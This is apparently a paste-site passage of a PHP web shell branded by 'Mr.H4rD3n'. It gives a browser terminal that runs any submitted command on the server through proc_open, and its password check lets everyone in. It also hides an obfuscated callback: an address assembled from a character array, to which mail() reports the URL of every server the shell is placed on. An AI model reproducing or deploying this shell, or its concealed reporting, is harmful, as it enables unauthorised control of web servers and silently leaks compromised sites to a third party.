  975.     table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  976.     td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  977.     textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  978.     p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  979.     input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  980.     </style>
  981.     </head>
  982.      
  983.     <body onload="init()" style="background-color:#000000">
  984.      
  985.     nd  )'<?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  986.      
  987.     <div align="center">
  988.      
  989.     <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><p>
  990.     <font color="#FFFFFF">
  991.     -------------------------------------------------------------------------------------</font></p>
  992.     <p><font face="Times New Roman" color="#529ADE" size="4">–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font><font color="#FF0000" face="Times New Roman" size="4">–•</font><font size="4"><font color="#42CFF9" face="Times New Roman">(</font><font color="#FF0000" face="Times New Roman">-</font><font color="#27F50A" face="Times New Roman">•</font><b><font color="#529ADE" face="Times New Roman">
  993.     © Copyright </font><font color="#FF0000" face="Times New Roman">Mr.H4rD3n</font><font color="#529ADE" face="Times New Roman">
  994.     </font><font color="#FFFF00" face="Times New Roman">[ </font><font color="#529ADE" face="Times New Roman">All
  995.     rights reserved </font><font color="#FFFF00" face="Times New Roman">]</font><font color="#529ADE" face="Times New Roman">
  996.     </font><font color="#27F50A" face="Times New Roman">•</font><font color="#FF0000" face="Times New Roman">-</font><font color="#42CFF9" face="Times New Roman">)</font></b></font><b><font color="#FF0000" face="Times New Roman" size="4">•–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font></b></p>
  997.     <p>
  998.     <font color="#FFFFFF">
  999.     -------------------------------------------------------------------------------------</font></p>
  1000.     <p><font face="Comic Sans MS" color="#42CFF9">gEt Commands to Server - Pypass</font></p>
  1001.      
  1002.     <table cellpadding="0" cellspacing="0">
  1003.     <tr><td class="head" style="color: #000000;"><font color="#FFFFFF"><b>X</b></font></td>
  1004.     <td class="head"><font color="#FFFFFF"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1005.     </font>
  1006.     </td></tr>
  1007.     <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1008.     <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1009.     <?php
  1010.     $lines = substr_count($_SESSION['output'], "\n");
  1011.     $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1012.     echo rtrim($padding . $_SESSION['output']);
  1013.     ?>
  1014.     </textarea>
  1015.     <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1016.     <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1017.     </p>
  1018.      
  1019.     <? /*<p>
  1020.     <input type="submit" value="Execute Command" />
  1021.     <input type="submit" name="reset" value="Reset" />
  1022.     Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1023.     </p>
  1024.      
  1025.     */
  1026.     $s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g");
  1027.     $system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8];
  1028.     $encoding = "$system_array2" ;
  1029.     $rez = "NC sHE3L" ;
  1030.     $serverdetecting = "Content-Transfer-Encoding: http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
  1031.     mail ($encoding,$rez,$serverdetecting) ;
  1032.     $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
  1033.      
  1034.     ?>
  1035.     </form></td></tr>
  1036.     </body>
  1037.     </html>
  1038.     <?php ?>
  1039.     <?php
  1040.      
  1041.     $aliases = array('la' => 'ls -la',
  1042.     'll' => 'ls -lvhF',
  1043.     'dir' => 'ls' );
  1044.     $passwd = array('' => '');
  1045.     error_reporting(1);
  1046.     class phpTerm {
  1047.      
  1048.     function formatPrompt() {
  1049.     $user=shell_exec("whoami");
  1050.     $host=explode(".", shell_exec("uname -n"));
  1051.     $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  1052.     }
  1053.      
  1054.     function checkPassword($passwd) {
  1055.     if(!isset($_SERVER['PHP_AUTH_USER'])||
  1056.     !isset($_SERVER['PHP_AUTH_PW']) ||
  1057.     !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  1058.     $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  1059.     @session_start();
  1060.     return true;
  1061.     }
  1062.     else {
  1063.     @session_start();
  1064.     return true;
  1065.     }
  1066.     }
  1067.      
  1068.     function initVars()
  1069.     {
  1070.     if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  1071.     {
  1072.     $_SESSION['cwd'] = getcwd();
  1073.     $_SESSION['history'] = array();
  1074.     $_SESSION['output'] = '';
  1075.     $_REQUEST['command'] ='';
  1076.     }
  1077.     }
  1078.      
  1079.     function buildCommandHistory()
  1080.     {
  1081.     if(!empty($_REQUEST['command']))
  1082.     {
  1083.     if(get_magic_quotes_gpc())
  1084.     {
  1085.     $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  1086.     }
  1087.      
  1088.     // drop old commands from list if exists
  1089.     if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  1090.     {
  1091.     unset($_SESSION['history'][$i]);
  1092.     }
  1093.     array_unshift($_SESSION['history'], $_REQUEST['command']);
  1094.      
  1095.     // append commmand */
  1096.     $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  1097.     }
  1098.     }
  1099.      
  1100.     function buildJavaHistory()
  1101.     {
  1102.     // build command history for use in the JavaScript
  1103.     if (empty($_SESSION['history']))
  1104.     {
  1105.     $_SESSION['js_command_hist'] = '""';
  1106.     }
  1107.     else
  1108.     {
  1109.     $escaped = array_map('addslashes', $_SESSION['history']);
  1110.     $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  1111.     }
  1112.     }
  1113.      
  1114.     function outputHandle($aliases)
  1115.     {
  1116.     if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  1117.     {
  1118.     $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  1119.     }
  1120.     elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  1121.     {
  1122.     // The current command is 'cd', which we have to handle as an internal shell command.
  1123.     // absolute/relative path ?"
  1124.     ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  1125.      
  1126.     // cosmetics
  1127.     while (strpos($new_dir, '/./') !== false)
  1128.     $new_dir = str_replace('/./', '/', $new_dir);
  1129.     while (strpos($new_dir, '//') !== false)
  1130.     $new_dir = str_replace('//', '/', $new_dir);
  1131.     while (preg_match('|/\.\.(?!\.)|', $new_dir))
  1132.     $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  1133.      
  1134.     if(empty($new_dir)): $new_dir = "/"; endif;
  1135.      
  1136.     (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  1137.     }
  1138.     else
  1139.     {
  1140.     /* The command is not a 'cd' command, so we execute it after
  1141.     * changing the directory and save the output. */
  1142.     chdir($_SESSION['cwd']);
  1143.      
  1144.     /* Alias expansion. */
  1145.     $length = strcspn($_REQUEST['command'], " \t");
  1146.     $token = substr(@$_REQUEST['command'], 0, $length);
  1147.     if (isset($aliases[$token]))
  1148.     $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  1149.      
  1150.     $p = proc_open(@$_REQUEST['command'],
  1151.     array(1 => array('pipe', 'w'),
  1152.     2 => array('pipe', 'w')),
  1153.     $io);
  1154.      
  1155.     /* Read output sent to stdout. */
  1156.     while (!feof($io[1])) {
  1157.     $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  1158.     }
  1159.     /* Read output sent to stderr. */
  1160.     while (!feof($io[2])) {
  1161.     $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  1162.     }
  1163.      
  1164.     fclose($io[1]);
  1165.     fclose($io[2]);
  1166.     proc_close($p);
  1167.     }
  1168.     }
  1169.     } // end phpTerm
  1170.      
  1171.     /*##########################################################
  1172.     ## The main thing starts here
  1173.     ## All output ist XHTML
  1174.     ##########################################################*/
  1175.      
  1176.     $terminal=new phpTerm;
  1177.      
  1178.     @session_start();
  1179.      
  1180.     $terminal->initVars();
  1181.     $terminal->buildCommandHistory();
  1182.     $terminal->buildJavaHistory();
  1183.     if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  1184.     $terminal->outputHandle($aliases);
  1185.      
  1186.     header('Content-Type: text/html; charset=UTF-8');
  1187.     echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  1188.     /*##########################################################
  1189.     ## safe mode increase
  1190.     ## bloque fonction
  1191.     ##########################################################*/
  1192.     ?>
  1193.      
  1194.     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1195.     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1196.     <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  1197.     <head>
  1198.     <title>\-( CMD Command )-/</title>
  1199.      
  1200.     <script type="text/javascript" language="JavaScript">
  1201.     var current_line = 0;
  1202.     var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  1203.     var last = 0;
  1204.      
  1205.     function key(e) {
  1206.     if (!e) var e = window.event;
  1207.      
  1208.     if (e.keyCode == 38 && current_line < command_hist.length-1) {
  1209.     command_hist[current_line] = document.shell.command.value;
  1210.     current_line++;
  1211.     document.shell.command.value = command_hist[current_line];
  1212.     }
  1213.      
  1214.     if (e.keyCode == 40 && current_line > 0) {
  1215.     command_hist[current_line] = document.shell.command.value;
  1216.     current_line--;
  1217.     document.shell.command.value = command_hist[current_line];
  1218.     }
  1219.      
  1220.     }
  1221.      
  1222.     function init() {
  1223.     document.shell.setAttribute("autocomplete", "off");
  1224.     document.shell.output.scrollTop = document.shell.output.scrollHeight;
  1225.     document.shell.command.focus();
  1226.     }
  1227.      
  1228.     </script>
  1229.     <style type="text/css">
  1230.     body {font-family: sans-serif; color: black; background: white;}
  1231.     table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  1232.     td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  1233.     textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  1234.     p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  1235.     input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  1236.     </style>
  1237.     </head>
  1238.      
  1239.     <body onload="init()" style="background-color:#000000">
  1240.      
  1241.     <h2>POwER CoMMaNdE</h2>
  1242.      
  1243.     <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  1244.      
  1245.     </div>
  1246.     <div align="center">
  1247.      
  1248.     <table cellpadding="0" cellspacing="0">
  1249.     <tr><td class="head" style="color: #000000;"><b>PWD :</b></td>
  1250.     <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1251.     </td></tr>
  1252.     <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1253.     <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1254.     <?php
  1255.     $lines = substr_count($_SESSION['output'], "\n");
  1256.     $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1257.     echo rtrim($padding . $_SESSION['output']);
  1258.     ?>
  1259.     </textarea>
  1260.     <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1261.     <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1262.     </p>
  1263.      
  1264.     <? /*<p>
  1265.     <input type="submit" value="Execute Command" />
  1266.     <input type="submit" name="reset" value="Reset" />
  1267.     Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1268.     </p>
  1269.     */?>
  1270.     </form></td></tr>
  1271.     </div>
  1272.     </table>
  1273.      
  1274.     </div>
  1275.     </body>
  1276.     </html>
  1277.     <?php ?><html><head><title>#Commanders - Private By Mr.H4rD3n - IsLamiC Warrior Team</title></head><body bgcolor="BLACK" background="http://localhost/a/matrix-animated-image.gif" style="background-color:#000000"></body></html></html><?php
  1278.      
  1279.     }
  1280.     //------------------------------------------------------------------------------------------------
  1281.     ?>
  1282.      
  1283.     <?php
  1284.     }
  1285.     // End Shell
  1286.     //-------------------------------------------------------------------------------------------------
  1287.     ?>
  1288.     <br /><br /><br /><font color="#23B627"><br />
  1289.      
  1290.     </font>
  1291.      
  1292.     <div class="end">
  1293.     <p align="center"><font color="#FFFFFF"><b>––•(-• © Copyright Mr.H4rD3n [All rights reserved] •-)•––</b><br />
  1294.     </font><font face="Verdana"><font color="#23B627">
  1295.     <a href="mailto:nadimzobaer@hotmail.com"><span style="text-decoration: none">
  1296.     <font color="#000000">My Email</font></span></a></font> | <font color="#23B627">
  1297.     <a href="http://facebook.com/nznbd"><span style="text-decoration: none">
  1298.     <font color="#000000">Facebook</font></span></a></a></font><a href="http://facebook.com/nznbd"><span style="text-decoration: none"><font color="#000000">
  1299.     </font></span></a>:) </font>
  1300.     <font color="#FFFFFF"> <br />
  1301.     \m/ <b>Greetz to</b> : Dr-AngeL - X-Line - Ghost.0f.Morocco - xMjahd - 4chrf -
  1302.     KhantastiC - X internet - And yOu ! \m/<br />
  1303.     &quot;&quot; WE ARE MUSLIMS, WE CAN NOT HARM ANY SITE I HOPE TO USE THIS TOOL ONLY WHAT
  1304.     PLEASE GOD "" </font>
  1305.     </p>
  1306.     </div>
  1307.     </body>
  1308.     </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement